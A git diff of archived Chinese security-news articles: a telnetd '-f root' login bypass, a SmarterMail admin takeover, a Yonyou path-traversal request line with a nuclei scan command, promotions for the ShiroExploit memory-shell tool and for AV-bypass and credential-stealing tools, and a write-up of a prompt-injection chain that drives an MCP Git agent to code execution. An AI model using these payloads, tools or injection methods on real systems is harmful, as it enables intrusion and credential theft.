存在超过11年的严重漏洞，攻击者可绕过登录并获得 root 权限 +会杀毒的单反狗 + 会杀毒的单反狗 军哥网络安全读报 2026-01-23 01:01 + +**导****读** + + + +GNU InetUtils telnet 守护进程 ( telnetd )中存在一个严重安全漏洞，该漏洞存在近 11 年未被发现。 + +![](https://mmbiz.qpic.cn/mmbiz_png/AnRWZJZfVaHxOSt9kiarIl20Ehjy9Us5qg11Y4CwrxauVx7JlvdxT94RVz8RlQdZuDT1Xab0tibh2SZvuz1TMwCg/640?wx_fmt=png&from=appmsg "") + + +该漏洞编号为CVE-2026-24061，在 CVSS 评分系统中得分为 9.8 分（满分 10 分）。它影响 GNU InetUtils 的所有版本，从 1.9.3 版本到 2.7 版本（包括 2.7 版本）。 + + +根据 NIST 国家漏洞数据库 (NVD) 中对该漏洞的描述，“GNU Inetutils 2.7 及更早版本中的 Telnetd 允许通过 USER 环境变量的“-f root”值绕过远程身份验证”。 + + +GNU 贡献者 Simon Josefsson 在 oss-security 邮件列表中发帖称，该漏洞可被利用来获取目标系统的 root 权限： + + +telnetd 服务器调用 /usr/bin/login（通常以 root 用户身份运行），并将从客户端收到的 USER 环境变量的值作为最后一个参数传递。 + + +如果客户端提供精心构造的 USER 环境值，即字符串“-f root”，并通过 telnet(1) -a 或 --login 参数将此 USER 环境发送到服务器，则客户端将自动以 root 用户身份登录，绕过正常的身份验证过程。 + + +这是因为 telnetd 服务器在将 USER 环境变量传递给 login(1) 之前没有对其进行清理，而 login(1) 使用 -f 参数绕过正常的身份验证。 + + +Josefsson 还指出，该漏洞是在 2015 年 3 月 19 日提交的源代码中引入的，最终包含在 2015 年 5 月 12 日发布的 1.9.3 版本中。 + + +安全研究员 Kyu Neushwaistein（又名 Carlos Cortes Alvarez）于 2026 年 1 月 19 日发现了该漏洞并进行了报告。 + + +作为缓解措施，建议应用最新补丁并将对 telnet 端口的网络访问限制在受信任的客户端。 + + +Josefsson 补充道，作为临时解决方案，用户可以禁用 telnetd 服务器，或者让 InetUtils telnetd 使用不允许使用“-f”参数的自定义登录工具。 + + +威胁情报公司 GreyNoise 收集的数据显示，过去 24 小时内，有21 个不同的 IP 地址试图利用该漏洞执行远程身份验证绕过攻击，所有这些 IP 地址均已被标记为恶意地址。 + + +法国计算机应急响应小组（CERT）周三发布公告称， “许多Telnet服务可以通过互联网访问，这违反了良好做法。因此，CERT-FR建议停用所有Telnet服务。” + + +加拿大和比利时的国家网络安全机构也提出了同样的建议，警告称成功利用该漏洞的风险巨大，并敦促弃用telnetd。 + + +新闻链接： + +https://thehackernews.com/2026/01/critical-gnu-inetutils-telnetd-flaw.html + +![](https://mmbiz.qpic.cn/mmbiz_jpg/AnRWZJZfVaGC3gsJClsh4Fia0icylyBEnBywibdbkrLLzmpibfdnf5wNYzEUq2GpzfedMKUjlLJQ4uwxAFWLzHhPFQ/640?wx_fmt=jpeg "") + +扫码关注 + +军哥网络安全读报 + +**讲述普通人能听懂的安全故事** + + diff --git a/doc/2026-01/Shiro反序列化漏洞一站式综合利用工具 -- ShiroExploit（1月21日更新）.md b/doc/2026-01/Shiro反序列化漏洞一站式综合利用工具 -- ShiroExploit（1月21日更新）.md index ffa76727..031692cb 100644 --- a/doc/2026-01/Shiro反序列化漏洞一站式综合利用工具 -- ShiroExploit（1月21日更新）.md +++ b/doc/2026-01/Shiro反序列化漏洞一站式综合利用工具 -- ShiroExploit（1月21日更新）.md @@ -1,79 +1,104 @@ # Shiro反序列化漏洞一站式综合利用工具 -- ShiroExploit（1月21日更新） -FightingLzn9 - FightingLzn9 Web安全工具库 2026-01-22 02:05 +星夜AI安全 + 星夜AI安全 星夜AI安全 2026-01-23 00:29 -=================================== +📌各位可以将公众号设为星标⭐ + +📌这样就不会错过每期的推荐内容啦~ + +📌这对我真的很重要！ + +![image](https://mmbiz.qpic.cn/mmbiz_png/SffY5ZO3R2lAVT6CicZmYO3GGZre7KEwxiaouHrUbg3rQ0UUVhEI7eDxct12pq4ITqI98fcU1rsJXlHib3VF1n4ew/640?wx_fmt=png&from=appmsg "image") + +📌1. 本平台分享的安全知识和工具信息源于公开资料及专业交流，仅供个人学习提升安全意识、了解防护手段，禁止用于任何违法活动，否则使用者自行承担法律后果。 + +📌2. 所分享内容及工具虽具普遍性，但因场景、版本、系统等因素，无法保证完全适用，使用者要自行承担知识运用不当、工具使用故障带来的损失。 + +📌3. 使用者在学习操作过程中务必遵守法规道德，面对有风险环节需谨慎预估后果、做好防护，若未谨慎操作引发信息泄露、设备损坏等不良后果，责任自负。 **免责声明** -请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。工具来自网络， -安全性自测 -， -大家都要把工具当做病毒对待，在虚拟机运行。 -如有侵权请联系删除。个人微信： -ivu123ivu - +请勿利用文章内的相关技术从事非法测试。由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。工具来自网络，安全性需自行测试，请将工具当作病毒对待，建议在虚拟机中运行。如有侵权，请联系删除。个人微信：ivu123ivu   **0x01 工具介绍** -ShiroExploit，是一款Shiro反序列化漏洞一站式综合利用工具。基本概述如下： -``` -1、区分ShiroAttack2，采用分块传输内存马，每块大小不超过4000。 -2、可打JDK高版本的shiro，确保有key、有gadget就能rce。 -3、依托JavaChains动态生成gadget，实现多条利用链，如CB、CC、Fastjson、Jackson。 -4、通过魔改MemshellParty的内存马模板，使其回显马通信加密，去除一些典型的特征。 -5、借助JMG的注入器，加以魔改，实现无侵入性，同一个容器可同时兼容多种类型的内存马。 -6、对内存马和注入器类名进行随机化和Lambda化处理，规避内存马主动扫描设备的检测。 -7、可以更改目标配置，如改Key、改TomcatHeaderMaxSize。 -8、采用URLDNS链和反序列化炸弹的方式来探测指定类实现利用链的探测。 -9、缺点是流量相对大一些。 -``` +ShiroExploit 是一款用于综合利用 Shiro 反序列化漏洞的工具，其主要特点如下：   +1. 区别于 ShiroAttack2，采用分块传输内存马，每块大小不超过 4000。   +1. 支持 JDK 高版本的 Shiro，确保在有 Key 和可利用链的情况下实现 RCE。   + +1. 基于 JavaChains 动态生成利用链，支持多种链类型，例如 CB、CC、Fastjson、Jackson。   + +1. 通过修改 MemshellParty 的内存马模板，使其回显通信加密，并去除部分典型特征。   + +1. 结合 JMG 注入器进行改进，实现无侵入性，同一容器可同时兼容多种内存马类型。   + +1. 对内存马和注入器类名进行随机化与 Lambda 化处理，避免被内存马主动扫描设备检测。   + +1. 支持修改目标配置，例如更改 Key、调整 TomcatHeaderMaxSize。   + +1. 使用 URLDNS 链和反序列化炸弹的方式进行指定类探测，以确定可利用链。   + +1. 缺点是流量相对较大。 **0x02 安装与使用** -JDK18场景下实现命令执行和打入多种内存马。 +在 JDK 18 环境下执行命令并打入多种内存马。   -![image](https://mmbiz.qpic.cn/sz_mmbiz_png/8H1dCzib3Uibvialj47jf8Arym3DLmjmgs9ByiaeiaTHwHhEZH2Jxe54jpv7SHlU6uTVZc4UiaNibgFoiblh9uXCSZqqrQ/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/8H1dCzib3Uibvialj47jf8Arym3DLmjmgs9ByiaeiaTHwHhEZH2Jxe54jpv7SHlU6uTVZc4UiaNibgFoiblh9uXCSZqqrQ/640?wx_fmt=png&from=appmsg "") + +探测 Key。   + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/8H1dCzib3Uibvialj47jf8Arym3DLmjmgs9EWyiaUZMZDR01uFecdLLUDXKzA91ypFNNnSgRucETXH3HF1IWGSHqsA/640?wx_fmt=png&from=appmsg "") + +探测利用链。   + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/8H1dCzib3Uibvialj47jf8Arym3DLmjmgs9VEXvubkNCMcp19WUicQlvMYBjPOXRsicbaYTcA1hUnWpkL2W6eJkcVgg/640?wx_fmt=png&from=appmsg "") + +执行命令。   + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/8H1dCzib3Uibvialj47jf8Arym3DLmjmgs92iauE56zkBbGFxoS2ib4wsy6TQTLRwYzUDueV3sDhmg4T4DzWNrNuIew/640?wx_fmt=png&from=appmsg "") + +打入 Godzilla 内存马（支持 Behinder 内存马）。   + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/8H1dCzib3Uibvialj47jf8Arym3DLmjmgs9apTV3tyRH2NwAMibeLRfnX43dpzQlgKZExQxa3GKhshzkZL7V6OhibQg/640?wx_fmt=png&from=appmsg "") + +打入 SUO5V2 内存马。   + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/8H1dCzib3Uibvialj47jf8Arym3DLmjmgs9gtG9EBj48cRqjmNsTZDEsHh7Hum19YP8pR6GricOyMbZe4ic87GkAIZQ/640?wx_fmt=png&from=appmsg "") + +支持 Tomcat 10 及以上版本的内存马。   + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/8H1dCzib3Uibvialj47jf8Arym3DLmjmgs9IcqXrL35cpibysS8aF0vt62xCQIf9Rnq71qhgrTPZlRaqCElQ0udG8g/640?wx_fmt=png&from=appmsg "") + +关注微信公众号后台回复“**20260123** + ”，即可获取项目下载地址 + +关注微信公众号后台回复**入群** + 即可加入星夜AI安全交流群 -跑key。 - -![image](https://mmbiz.qpic.cn/sz_mmbiz_png/8H1dCzib3Uibvialj47jf8Arym3DLmjmgs9EWyiaUZMZDR01uFecdLLUDXKzA91ypFNNnSgRucETXH3HF1IWGSHqsA/640?wx_fmt=png&from=appmsg "") - - -探测利用链。 - -![image](https://mmbiz.qpic.cn/sz_mmbiz_png/8H1dCzib3Uibvialj47jf8Arym3DLmjmgs9VEXvubkNCMcp19WUicQlvMYBjPOXRsicbaYTcA1hUnWpkL2W6eJkcVgg/640?wx_fmt=png&from=appmsg "") - - -命令执行。 - -![image](https://mmbiz.qpic.cn/sz_mmbiz_png/8H1dCzib3Uibvialj47jf8Arym3DLmjmgs92iauE56zkBbGFxoS2ib4wsy6TQTLRwYzUDueV3sDhmg4T4DzWNrNuIew/640?wx_fmt=png&from=appmsg "") - - -打入Godzilla内存马（支持Behinder内存马）。 - -![image](https://mmbiz.qpic.cn/sz_mmbiz_png/8H1dCzib3Uibvialj47jf8Arym3DLmjmgs9apTV3tyRH2NwAMibeLRfnX43dpzQlgKZExQxa3GKhshzkZL7V6OhibQg/640?wx_fmt=png&from=appmsg "") - - -打入SUO5V2内存马。 - -![image](https://mmbiz.qpic.cn/sz_mmbiz_png/8H1dCzib3Uibvialj47jf8Arym3DLmjmgs9gtG9EBj48cRqjmNsTZDEsHh7Hum19YP8pR6GricOyMbZe4ic87GkAIZQ/640?wx_fmt=png&from=appmsg "") - - -支持Tomcat10及以上的内存马。 - -![image](https://mmbiz.qpic.cn/sz_mmbiz_png/8H1dCzib3Uibvialj47jf8Arym3DLmjmgs9IcqXrL35cpibysS8aF0vt62xCQIf9Rnq71qhgrTPZlRaqCElQ0udG8g/640?wx_fmt=png&from=appmsg "") - - -**0x03 项目链接下载** - -1、点击阅读原文，从原项目地址下载。 - -2、网盘下载链接：https://pan.quark.cn/s/b7bac1c2ee9e -
- +## 圈子介绍 +现任职于某头部网络安全企业攻防研究部，核心红队成员。2021-2023年间累计参与40+场国家级、行业级攻防实战演练，精通漏洞挖掘、红蓝对抗策略制定、恶意代码分析、内网横向渗透及应急响应等技术领域。在多次大型演练中，主导突破多个高防护目标网络，曾获“最佳攻击手”“突出贡献个人”等荣誉。 + +已产出的安全工具及成果包括： +- 多款主流杀软通杀工具（兼容卡巴斯基、诺顿、瑞星、360等终端防护） + +- 内网穿透套件（适配多层路由、隔离网络环境的隐蔽流量转发） + +- 权限维持工具集（含注册表、系统服务、进程隐藏等多维持久化方案） + +- 哥斯拉/冰蝎定制化马生成器（绕过主流终端防护与EDR动态检测） + +- 浏览器凭证窃取工具（支持Chrome/Edge/Firefox等主流浏览器数据提取） + +- 二开fscan内网扫描工具（增强指纹精度、弱口令爆破与结果标准化输出） + +- 多款免杀Webshell集合（覆盖PHP/JSP/ASPX，过主流WAF与终端防护） + +- 免杀360专属加载器（支持Shellcode内存执行，绕过360全系防护检测） + +后续将不断更新到内部圈子中 欢迎加入圈子 ![image](https://mmbiz.qpic.cn/mmbiz_jpg/SffY5ZO3R2krPdiaNgcSCqIWicvYpFwAA7FE1OiakOmrjja9AwwXl1WnW18bKaykVfzXKCz7PVBmiaLI5JRZYncJMQ/640?wx_fmt=jpeg&from=appmsg&watermark=1&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=6 "image") diff --git a/doc/2026-01/“尽情享受您的管理员权限”：SmarterMail 关键远程代码执行漏洞在野外被利用.md b/doc/2026-01/“尽情享受您的管理员权限”：SmarterMail 关键远程代码执行漏洞在野外被利用.md new file mode 100644 index 00000000..afe9471b --- /dev/null +++ b/doc/2026-01/“尽情享受您的管理员权限”：SmarterMail 关键远程代码执行漏洞在野外被利用.md @@ -0,0 +1,41 @@ +# “尽情享受您的管理员权限”：SmarterMail 关键远程代码执行漏洞在野外被利用 +sec随谈 + sec随谈 sec随谈 2026-01-23 01:16 + +就在SmarterMail 生态系统遭遇重大漏洞冲击几周后，安全研究人员又发现了一个新的严重漏洞，该漏洞已被攻击者利用。watchTowr Labs 的研究人员 Piotr Bazydlo 和 Sina Kheirkhah 披露了 WT-2026-0001 的详细信息，这是一个身份验证绕过漏洞，允许未经身份验证的攻击者劫持管理员帐户并实现完全远程代码执行 (RCE)。 + +这一发现紧随此前一起远程电荷交换事件之后。正如研究人员略带讽刺地指出，这种情况的“时间线通常只有KEV名人堂成员才会遇到”。 + +该漏洞存在于 SmarterMail Web 界面的强制重置密码 API 端点中。该功能旨在用于合法的密码恢复，但未能对系统管理员实施基本的安全检查。 + +报告指出，该端点被标记为允许匿名访问，这在重置流程中属于标准做法。然而，关键故障发生在处理管理员请求的逻辑中。“这里没有任何安全控制措施。没有身份验证。没有授权。也没有对旧密码进行验证。” + +攻击者只需发送一个 JSON 请求，并将 IsSysAdmin 设置为 true，同时传入目标用户名和新密码。系统随后会覆盖管理员的凭据，而不会验证旧密码——讽刺的是，这一步骤对普通用户却是强制执行的。 + +研究人员证实： “这完全绕过了系统管理员帐户的身份验证。尽情享受您的管理员权限吧！” + +该报告强调，威胁行为者正在积极利用这一漏洞来控制电子邮件服务器。 + +watchTowr收到一位匿名读者的举报，称其日志显示，在厂商发布补丁几天后，系统出现了可疑活动。“确凿证据？日志表明，漏洞利用发生在补丁发布两天后。” + +提供的日志揭示了一种有效的攻击模式： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/iaYUeYwA2bzjkgC4N56kzliam1zBibfVRUtQSAmaJLJBBvJZQ5n4hzaDib7Dk2Iq4ytR7hPNIV1qQbHp3TabVctxBg/640?wx_fmt=png&from=appmsg "") +- 10:51:58：攻击者以管理员身份成功登录。 +- 10:52:00：攻击者创建恶意事件。 +- 10:52:04：攻击者创建了域名 google.abc.com。 +- 11:49:02：日志条目“用户 @ 成功强制重置密码”出现，研究人员将其确定为“WT-2026-0001 中涉及的确切端点”。 +访问管理面板只是第一步。SmarterMail 包含一个“卷挂载”功能，允许管理员映射存储驱动器。然而，对于拥有管理员权限的用户来说，此功能实际上相当于一个内置的后门。 + +报告解释说：“SmarterMail 公开了内置功能，允许系统管理员执行操作系统命令。” + +攻击者通过创建一个新卷并在“卷挂载命令”字段中提供任意命令（例如 cmd.exe /c calc），即可触发底层操作系统立即执行该命令。“在我们的概念验证中，这会导致目标主机上出现系统级 shell。” + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/iaYUeYwA2bzjkgC4N56kzliam1zBibfVRUtOAo1lh5Vr2gvNZnXSoMfPHbDW3wGGkibXRWseWqHu6qWBrzQ0Nge0og/640?wx_fmt=png&from=appmsg "") + +SmarterTools 于 2026 年 1 月 15 日发布了 Build 9511 版本，以修复此漏洞。该补丁增加了一个验证步骤，在允许重置密码之前会检查用户的旧密码。 + +参考链接： + +https://labs.watchtowr.com/attackers-with-decompilers-strike-again-smartertools-smartermail-wt-2026-0001-auth-bypass/ + diff --git a/doc/2026-01/【已复现】用友Bip LoginWithV8存在路径穿越(CVE-2025-66744).md b/doc/2026-01/【已复现】用友Bip LoginWithV8存在路径穿越(CVE-2025-66744).md new file mode 100644 index 00000000..7e51bef7 --- /dev/null +++ b/doc/2026-01/【已复现】用友Bip LoginWithV8存在路径穿越(CVE-2025-66744).md @@ -0,0 +1,42 @@ +# 【已复现】用友Bip LoginWithV8存在路径穿越(CVE-2025-66744) +原创 蟑螂恶霸 + 蟑螂恶霸 momo安全 2026-01-23 00:54 + +## 免责声明 +> +> 本文仅用于技术学习和讨论。请勿使用本文所提供的内容及相关技术从事非法活动，由于传播、利用此文所提供的内容或工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果均与文章作者及本账号无关，本次测试仅供学习使用。如有内容争议或侵权，请及时私信我们！我们会立即删除并致歉。谢谢！ + +### 一、漏洞描述 + +用友BIP的/bi/api/Portal/LoginWithV8/接口存在登录绕过漏洞，未经身份验证的攻击者可利用该漏洞绕过正常登录流程，直接访问系统后台或敏感功能模块，获取企业核心业务数据、用户凭证及其他高权限资源，严重威胁企业数据安全与系统完整性。 +### 二、影响版本 + +用友BIP +### 三、Fofa语法 + +body="YonBIP | 数据应用服务" +### 四、漏洞复现 + +GET /bi/api/Portal/LoginWithV8/?ticket=/../../../../Windows/win.ini HTTP/1.1 + +nuclei.exe 用友Bip_路径穿越.yaml -l urls.txt![](https://mmbiz.qpic.cn/sz_mmbiz_png/KcvoibVKmdtlWwaw7lmQeO8aCuqqGL8T42b0N0aUpvPo9K1UnjcGibrGUo53vntIhWaQb5u3MB9noRa4pl9LzH0A/640?wx_fmt=png&from=appmsg "") + +### 五、漏洞修复 + +目前官方已发布漏洞修复版本，建议用户升级到安全版本：https://www.yonyou.com/ +### 六、漏洞脚本下载 + +后台回复 **260123** + 获取nuclei格式poc +### 七、技术服务推广 + +✅Cn*d🀄️高提交到个人账户上，CNNVD中高 漏洞及一般、重要情报 支撑单位均可协助获得 + +✅CISP、PTE/PTS、CISP-DSG、IRE/IRS、NISP一二级、PMP、CCSK、CISSP/CCSP、CISAW各种类、CCSC、itil、软考中高级、CDSP各种类、CISA，oscp等等全网最低价。ISO27001、ITss服务项目经理报名等下证即可，可对公，可开专普票 + +✅需要私聊联系~ + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/KcvoibVKmdtlWwaw7lmQeO8aCuqqGL8T4MBgSbWREPXQQ1kEnC58zYwzYL01SjovwG8iaILX9W7ThRiamm2I0nulw/640?wx_fmt=png&from=appmsg "") + + + diff --git a/doc/2026-01/又是 Prompt 注入！复盘 CVE-2025-68143：如何利用 Git 配置缺陷实现从“对话”到“提权”的跨越.md b/doc/2026-01/又是 Prompt 注入！复盘 CVE-2025-68143：如何利用 Git 配置缺陷实现从“对话”到“提权”的跨越.md new file mode 100644 index 00000000..5179e614 --- /dev/null +++ b/doc/2026-01/又是 Prompt 注入！复盘 CVE-2025-68143：如何利用 Git 配置缺陷实现从“对话”到“提权”的跨越.md @@ -0,0 +1,146 @@ +# 又是 Prompt 注入！复盘 CVE-2025-68143：如何利用 Git 配置缺陷实现从“对话”到“提权”的跨越 +原创 Kit Chung + Kit Chung 安全圈动向 2026-01-22 23:59 + +![](https://mmbiz.qpic.cn/mmbiz_png/cGfIHiaxhOA9rWibmia2tBS8qPUekBByLSibQpQkv4XsoD6C9yN81erV9e2IwKLXprMZ8sumdtVXE0aTz68mU23g8g/640?wx_fmt=png&from=appmsg "") + +最近 **AI Agent（智能体）** + 的概念火得一塌糊涂。大家都在搞 MCP（Model Context Protocol），恨不得让大模型长出三头六臂，直接操作我们的数据库、文件系统，甚至 Git 仓库。 + +但作为一个在安全圈摸爬滚打多年的老兵，我一直有个隐忧： +当我们将系统的“执行权”交给一个只会概率预测的大模型时，如果它“被误导”，后果会怎样？ + +这不，怕什么来什么。 + +最近，**Anthropic 官方** +维护的标杆级项目 mcp-server-git + 被曝出了三个高危漏洞。这可不是普通的 Bug，这是官方打样的“标准答案”翻车了。攻击者只需要通过精心构造的 Prompt（提示词注入），就能诱导 AI 在不需要直接接触你系统的情况下，实现文件任意读写，甚至**远程代码执行（RCE）** +。 + +今天，咱们就扒开源码，看看这几个漏洞到底是怎么“链”起来的，以及我们在开发 AI 应用时该如何避坑。 + +## 01 漏洞全家桶：当 AI 变成“内鬼” + + +这次被点名的是 mcp-server-git +，它是 Anthropic 给开发者们提供的“样板间”，用来演示如何让 Claude 等大模型通过 MCP 协议去操作 Git 仓库。 + +安全研究员一口气丢出了三个 CVE，它们分别对应了我们在开发 CLI 包装器时最容易犯的三个错： +### 1. 任意路径初始化 (CVE-2025-68143) + +**核心问题：git_init 工具太“听话”了。** + +原本我们用 git init +，通常是在当前项目目录下。但在这个 MCP 工具里，它允许传入任意文件系统路径，而且**没有任何校验** +。这意味着攻击者可以诱导 AI 在 /etc/ + 或者其他敏感目录下执行初始化，直接把整个系统目录变成一个 Git 仓库。 +### 2. 参数注入 (CVE-2025-68144) + +**核心问题：入参没有做“清洗”。** + +这是经典的**参数注入（Argument Injection）** +。当工具直接将用户（或者说 AI 生成的）参数透传给底层的 git_diff + 或 git_checkout + 命令时，如果没有做严格的 Sanitization，攻击者就可以通过传入类似 --output=/path/to/file + 这样的参数，改变 git 的原定行为，甚至覆盖关键文件。 +### 3. 越权访问 (CVE-2025-68145) + +**核心问题：--repository 标志形同虚设。** + +本来这个标志是为了限制 AI 只能在特定仓库里折腾，但因为缺少路径验证，攻击者可以用 ../../ + 这种经典的路径遍历手法跳出限制，访问服务器上的任意仓库。 + +## 02 高能预警：如何用“一句话”达成 RCE？ + + +如果只是上面这几个单独的漏洞，可能只是“文件泄露”或者“文件破坏”。但真正让安全工程师难受的，是**漏洞利用链（Exploit Chain）** +。 + +Cyata 的研究员演示了一个教科书级别的攻击路径，他们通过组合拳，成功实现了 **RCE（远程代码执行）** +。 + +**🕵️‍♂️ 攻击场景：** + +攻击者不需要直接访问你的服务器。他只需要在一个 AI 会读取的地方（比如一个恶意的 README 文件、一个 issue 描述，或者一个网页）埋下“毒 Prompt”。 + +**攻击链条是这样的：** +- Step 1 诱导初始化 + +利用 Prompt 注入，骗 AI 调用有漏洞的 git_init +，在一个攻击者可写的目录下创建一个 Git 仓库。 + +- Step 2 篡改配置 + +结合 Filesystem MCP（文件系统操作权限），在这个仓库的隐藏目录 .git/config + 里写入恶意配置。 + +💡 技术细节：利用 Git 的 **filter** + 机制。Git 允许在 checkout 或 add 文件时运行自定义脚本。 + +- Step 3 埋下 Payload + +1. 写入一个 .gitattributes + 文件，指定某些文件类型应用上述 filter。 + +2. 写入一个包含恶意代码的 Shell 脚本。 + +3. 写入一个触发文件。 + +- Step 4 触发执行 + +最后，诱导 AI 调用 git_add +。这一步会触发 Git 的 clean filter 机制，系统会在后台默默执行之前埋下的 Shell 脚本。 + +💥 代码执行成功。 + +整个过程，用户可能只是让 AI 帮忙“总结一下这个项目的代码”，服务器就已经易主了。 + +## 03 深度反思：AI 时代的“安全边界”在哪？ + + +这次翻车的 mcp-server-git + 可是 Anthropic 的官方示例。就像 Cyata 的 CEO Shahar Tal 说的： +> “这是规范的 Git MCP 服务器，是开发者们模仿的对象。如果连官方参考实现的防御边界都如此脆弱，那说明整个 MCP 生态系统都需要更深层次的审查。” + + +这给我们所有正在做 AI 应用集成的工程师提了个醒： + +**1. 大模型不是人，它没有直觉。** + +不要预设 AI 会帮你过滤恶意指令。Prompt 注入在未来几年内都将是 Top 级别的安全威胁。 + +**2. “胶水代码”最危险。** + +我们用 Python 包装 CLI 工具（如 Git、Docker、K8s）给 AI 用时，必须假设 **所有入参都是恶意的** +。 + +**3. 最小权限原则 (PoLP) 至关重要。** + +为什么 AI 能写 .git/config +？为什么 AI 能访问任意路径？在给 Agent 授权时，能给只读就别给读写，能限制在沙箱就别给宿主权限。 + +### 🛡️ 修复方案 + +目前的修复方案非常直接： +- **升级版本（Python 包 mcp-server-git 的版本）：** + 官方在 2025.9.25 + 和 2025.12.18 + 版本中修复了这些问题。 + +- **功能阉割：** + 直接移除了高危的 git_init + 工具（简单粗暴，但有效）。 + +- **加强校验：** + 增加了对路径遍历的严厉验证。 + + + +**最后：** + +技术在狂奔，但安全不能掉队。下次在用 n8n 或者 LangChain 搭建工作流时，记得多看一眼那些直接在这个服务器上跑命令的节点。毕竟，你永远不知道屏幕对面的那个“智能助手”，是不是刚刚读了一本“黑客写的书”。 + +各位运维和开发的大佬们，你们怎么看这次官方翻车？ + +欢迎在评论区聊聊你的看法！👇 + diff --git a/doc/2026-01/新鲜出炉，Shiro 反序列化漏洞一站式综合利用工具.md b/doc/2026-01/新鲜出炉，Shiro 反序列化漏洞一站式综合利用工具.md new file mode 100644 index 00000000..919e244a --- /dev/null +++ b/doc/2026-01/新鲜出炉，Shiro 反序列化漏洞一站式综合利用工具.md @@ -0,0 +1,116 @@ +# 新鲜出炉，Shiro 反序列化漏洞一站式综合利用工具 + 进击的HACK 2026-01-22 23:51 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/DuibU3GqmxVmRsdItbBVRKegNHicHQvAHDdZsGpLVU7touSU1AU1twHTfRjG3Vu5aUh0RnPPllfVUhs4qdWF5QYQ/640?wx_fmt=png&wxfrom=13 "") + +声明： +文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途给予盈利等目的，否则后果自行承担！ +如有侵权烦请告知，我会立即删除并致歉。谢谢 +！ + +文章有疑问的，可以公众号发消息问我，或者留言。我每天都会看的。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/9zYJrD2VibHmqgf4y9Bqh9nDynW5fHvgbgkSGAfRboFPuCGjVoC3qMl6wlFucsx3Y3jt4gibQgZ6LxpoozE0Tdow/640?wx_fmt=png&wxfrom=13 "") + + + +  + +> 字数 468，阅读大约需 3 分钟 + +## 介绍 + +项目地址：https://github.com/FightingLzn9/ShiroExploit + +shiro key 校验 +![ba66c0ddf520b10a68e3bfee9bb3b0b8.png](https://mmbiz.qpic.cn/sz_mmbiz_png/a1BOUvqnbrjvsg7icjzmicoLvmOXb9h8Xlb1kho6tibrJJyKXf7y53rZ7jXooy03715k1hvwNw0W9ckrAos3CoC2g/640?from=appmsg "null") + +ba66c0ddf520b10a68e3bfee9bb3b0b8.png + +工具功能思维导图 +![fc33f0cbe148d575c9eeb699734155c7.png](https://mmbiz.qpic.cn/sz_mmbiz_png/a1BOUvqnbrjvsg7icjzmicoLvmOXb9h8XlOJ1LvpibSaqjwswcPO6ndFJYBYsTUIYfHvnwhyEpcL9uj57gKPtUueA/640?from=appmsg "null") + +fc33f0cbe148d575c9eeb699734155c7.png +## 命令执行 + +![2cff7a920f8a678fd95a711be8bc0717.png](https://mmbiz.qpic.cn/sz_mmbiz_png/a1BOUvqnbrjvsg7icjzmicoLvmOXb9h8Xl2aVia8gSRnK4szPxeE0XQ23mmnTBf4alM9BiaatuLtTa4dzpsK9uqIDQ/640?from=appmsg "null") + +2cff7a920f8a678fd95a711be8bc0717.png +## 小工具 + +更改目标 shiro 密钥 +![7c1c676e937d0088c556b4ba6b516768.png](https://mmbiz.qpic.cn/sz_mmbiz_png/a1BOUvqnbrjvsg7icjzmicoLvmOXb9h8XlxyYDHpqC13nY47732DCADPic8KE7sevZa9wvfdRyYb6Y6sKdhlhH4YQ/640?from=appmsg "null") + +7c1c676e937d0088c556b4ba6b516768.png + +**这个功能有什么用？** + +高版本的 shiro 密钥是每次服务启动时随机生成的，也就是每次启动都会改变。 + +查看 shiro key +![35bc0f81165f4a4d01d9d7eb21817a67.png](https://mmbiz.qpic.cn/sz_mmbiz_png/a1BOUvqnbrjvsg7icjzmicoLvmOXb9h8XlmHxDrRZEqsFpBaiaHRZA55gvTKR8tnFc9eWMG7gvnicpmoWcPGdjfkmw/640?from=appmsg "null") + +35bc0f81165f4a4d01d9d7eb21817a67.png + +![150a47635ae15abe016dde00c9201b57.png](https://mmbiz.qpic.cn/sz_mmbiz_png/a1BOUvqnbrjvsg7icjzmicoLvmOXb9h8XlcMOURdupOwue2NBV22EQibTiaCaOibBmMqia9gDhgZR3gOPjl7FBTh2ucg/640?from=appmsg "null") + +150a47635ae15abe016dde00c9201b57.png + +在攻防演练中，多个攻击队测试一家企业的资产，难免攻击路径会重合。有的攻击队就想到了个注意，把 shiro key 给修改成随机的，这样自己先拿下系统后，稍后发现 shiro key 的队伍就进不去了。 +> 前提是出现 shiro key 泄露的问题，而不是可以通过 rce/代码注入的形式，从内存里获取当前的 key + + +虽然显示超时，我们重新看 key +![375a5360bce87b33b3639aca5c21b256.png](https://mmbiz.qpic.cn/sz_mmbiz_png/a1BOUvqnbrjvsg7icjzmicoLvmOXb9h8XlzNAY50S1pokCzUHgeLbsiawHNEvFrkuRVtvZDIoOkQZWaRZFjWk6bqw/640?from=appmsg "null") + +375a5360bce87b33b3639aca5c21b256.png + +内存里的 shiro key 修改成功 +![3e62b70d853aa2052f143c8a0a459322.png](https://mmbiz.qpic.cn/sz_mmbiz_png/a1BOUvqnbrjvsg7icjzmicoLvmOXb9h8XlWQdibScyffyz1l3zDlYVbH45duu7JLbAibzcfyiaxnDl4O3mGuDIxZ3hA/640?from=appmsg "null") + +3e62b70d853aa2052f143c8a0a459322.png + +当然，非必要还是建议大家不用改 key。 +## 内存马 + 